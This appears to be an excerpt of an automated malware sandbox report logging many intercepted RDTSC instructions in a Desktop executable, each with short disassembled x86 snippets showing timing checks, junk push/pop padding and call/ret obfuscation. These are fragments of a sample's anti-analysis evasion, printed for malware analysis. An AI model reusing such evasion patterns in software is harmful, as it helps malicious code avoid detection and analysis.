Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB3FB second address: 5DB3FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB487 second address: 5DB48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB48B second address: 5DB499 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E0677Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB566 second address: 5DB56C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB56C second address: 5DB572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB572 second address: 5DB5F6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2C9665DBh 0x0000000f mov edi, 1F960994h 0x00000014 push 00000003h 0x00000016 jo 00007F44A4EBD62Ch 0x0000001c sub dword ptr [ebp+122D1ADEh], esi 0x00000022 push 00000000h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F44A4EBD628h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 add dword ptr [ebp+122D1D1Dh], edx 0x00000046 call 00007F44A4EBD629h 0x0000004b ja 00007F44A4EBD62Eh 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jmp 00007F44A4EBD636h 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB5F6 second address: 5DB5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB5FB second address: 5DB640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jnp 00007F44A4EBD628h 0x00000014 push edx 0x00000015 je 00007F44A4EBD626h 0x0000001b pop edx 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F44A4EBD635h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB640 second address: 5DB645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB645 second address: 5DB64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB64B second address: 5DB66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007F44A4E06784h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA843 second address: 5FA849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA849 second address: 5FA862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA862 second address: 5FA873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Ah 0x00000007 push eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAB49 second address: 5FAB62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E0677Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F44A4E06776h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAB62 second address: 5FAB66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAB66 second address: 5FAB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAB6C second address: 5FAB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F44A4EBD63Eh 0x0000000c jmp 00007F44A4EBD638h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAB90 second address: 5FAB97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAB97 second address: 5FAB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FACF6 second address: 5FAD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAD01 second address: 5FAD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAFAF second address: 5FAFB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F370B second address: 5F3726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F44A4EBD626h 0x0000000a pop edi 0x0000000b jmp 00007F44A4EBD630h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3726 second address: 5F3732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F44A4E06776h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3732 second address: 5F3736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3736 second address: 5F3742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBCE7 second address: 5FBD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F44A4EBD626h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jl 00007F44A4EBD626h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBD04 second address: 5FBD26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06788h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBD26 second address: 5FBD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBD2C second address: 5FBD3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F44A4E06782h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBFD5 second address: 5FBFE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4EBD62Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBFE5 second address: 5FBFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBFE9 second address: 5FBFED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE753 second address: 5FE757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D238F second address: 5D2393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2393 second address: 5D23B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4E06788h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60079D second address: 6007A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E04 second address: 600E1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E1C second address: 600E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F44A4EBD626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E26 second address: 600E5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06780h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F44A4E06787h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E5B second address: 600E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFD91 second address: 5FFDA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E0677Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601167 second address: 601184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607F51 second address: 607F65 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e js 00007F44A4E06776h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607F65 second address: 607F69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607F69 second address: 607F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F44A4E0677Ah 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f popad 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6073EF second address: 6073F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6073F3 second address: 6073F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6073F9 second address: 6073FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6073FF second address: 607409 instructions: 0x00000000 rdtsc 0x00000002 js 00007F44A4E06776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607687 second address: 607691 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607691 second address: 6076A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E0677Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6076A6 second address: 6076C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4EBD634h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6076C1 second address: 6076C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607AEF second address: 607B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F44A4EBD62Bh 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F44A4EBD626h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607C9D second address: 607CAD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F44A4E06776h 0x00000008 jbe 00007F44A4E06776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609526 second address: 60954E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 xor dword ptr [esp], 698528A2h 0x0000000c mov dword ptr [ebp+122D1B2Eh], ebx 0x00000012 push ebx 0x00000013 mov esi, dword ptr [ebp+122D2D28h] 0x00000019 pop edi 0x0000001a call 00007F44A4EBD629h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60954E second address: 609588 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F44A4E06787h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 jnl 00007F44A4E0677Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c jc 00007F44A4E06776h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609588 second address: 60958C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60958C second address: 6095C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c jmp 00007F44A4E06785h 0x00000011 pop esi 0x00000012 mov eax, dword ptr [eax] 0x00000014 push edx 0x00000015 push ecx 0x00000016 jnl 00007F44A4E06776h 0x0000001c pop ecx 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jp 00007F44A4E06778h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6095C8 second address: 6095D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44A4EBD62Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6096F0 second address: 609706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609AA0 second address: 609AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jo 00007F44A4EBD62Ch 0x0000000b jnp 00007F44A4EBD626h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A4E0 second address: 60A4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A5F4 second address: 60A5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A6B7 second address: 60A6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A6BD second address: 60A6C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AC09 second address: 60AC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F44A4E06778h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 jno 00007F44A4E06776h 0x00000028 mov dword ptr [ebp+122D1B2Eh], edx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007F44A4E06778h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007F44A4E06778h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 0000001Ah 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 mov si, ax 0x00000069 xchg eax, ebx 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F44A4E0677Dh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AC97 second address: 60AC9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C502 second address: 60C540 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44A4E06778h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F44A4E0677Ch 0x00000010 nop 0x00000011 jmp 00007F44A4E0677Fh 0x00000016 mov edi, dword ptr [ebp+122D29C9h] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 mov esi, dword ptr [ebp+122D2C6Ch] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BDDC second address: 60BDE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BDE2 second address: 60BDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DA54 second address: 60DA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DA59 second address: 60DA5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E48B second address: 60E52B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push edx 0x0000000d call 00007F44A4EBD635h 0x00000012 mov esi, dword ptr [ebp+122D24DEh] 0x00000018 pop edi 0x00000019 pop esi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F44A4EBD628h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D5775h], edx 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F44A4EBD628h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000019h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 jc 00007F44A4EBD627h 0x0000005e cmc 0x0000005f mov dword ptr [ebp+122D25FBh], eax 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F44A4EBD62Eh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E52B second address: 60E53A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4E0677Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FA7E second address: 60FA82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613D14 second address: 613D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613D1B second address: 613D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F44A4EBD626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613D25 second address: 613D9A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F44A4E06778h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 jns 00007F44A4E0677Dh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F44A4E06778h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 adc ebx, 1EF16FA7h 0x0000004d push 00000000h 0x0000004f mov bx, cx 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F44A4E0677Fh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614CD0 second address: 614CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614CD4 second address: 614CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614CDA second address: 614D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F44A4EBD626h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F44A4EBD638h 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616CF3 second address: 616CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
